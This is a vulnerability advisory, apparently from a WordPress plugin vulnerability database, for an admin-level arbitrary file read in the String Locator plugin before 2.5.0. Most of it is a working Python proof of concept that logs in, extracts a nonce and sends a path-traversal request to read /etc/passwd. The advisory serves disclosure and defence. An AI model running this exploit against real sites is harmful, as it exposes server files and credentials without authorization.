WordPress Plugin Vulnerabilities
String Locator < 2.5.0 - Admin+ Arbitrary File Read
Description
The plugin does not properly validate the path of the files to be searched, allowing high privilege users such as admin to query arbitrary files on the web server via a path traversal vector. Furthermore, due to a flaw in the search, allowing a pattern to be provided, which will be used to output the relevant matches from the matching file, all content of the file can be disclosed.
Note: The attack does not work on multisite (as admin), or when FILE_MODS is disallowed, but works when only FILE_EDIT is disallowed. Furthermore, admins should be restricted to file inside the blog, not arbitrary ones on the web server.
Proof of Concept
import requests, re BASE_URL = "http://localhost:8000" id = "wordpress" pw = "wordpress" FILENAME = "/etc/passwd" FIND_KEYWORD = "/.*/i" def filter(text) : cleanr =re.compile('<.*?>') cleantext = re.sub(cleanr, '', text) cleantext = cleantext.replace("…", "") return cleantext def login(id, pw) : # Phase : Login (because, we need a nonce value) sess = requests.Session() sess.post( BASE_URL + "/wp-login.php", data = { 'log': id, 'pwd': pw, 'wp-submit': '%EB%A1%9C%EA%B7%B8%EC%9D%B8', 'testcookie': '1' } ).text return sess def exploit(sess) : # Phase : Get nonce value res = sess.get(f"{BASE_URL}/wp-admin/tools.php?page=string-locator") res = res.text res = res[res.find('search_nonce"'):][15:] nonce = res[:res.find('"')] # Phase : Attack ! res = sess.post( f"{BASE_URL}/wp-admin/admin-ajax.php", headers = {"Content-Type": "application/x-www-form-urlencoded"}, data = { "action" : "string-locator-get-directory-structure", "directory" : f"t-../../../../../../../{FILENAME}", "search" : f"{FIND_KEYWORD}", "regex" : "true", "nonce" : nonce }, proxies = {"http": "http://localhost:8080"} ) if res.json()["success"] == True : res = sess.post( f"{BASE_URL}/wp-admin/admin-ajax.php", headers = {"Content-Type": "application/x-www-form-urlencoded"}, data = { "action" : "string-locator-search", "filenum" : "0", "nonce" : nonce }, proxies = {"http": "http://localhost:8080"} ) # print(res.text) for line in res.json()["data"]["search"][0][1:] : print(filter(line['stringresult'])) sess = login(id, pw) exploit(sess)
Affects Plugins
References
Classification
Type
TRAVERSAL
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
qerogram
Submitter
qerogram
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-03-01 (about 1 years ago)
Added
2022-03-01 (about 1 years ago)
Last Updated
2022-04-08 (about 1 years ago)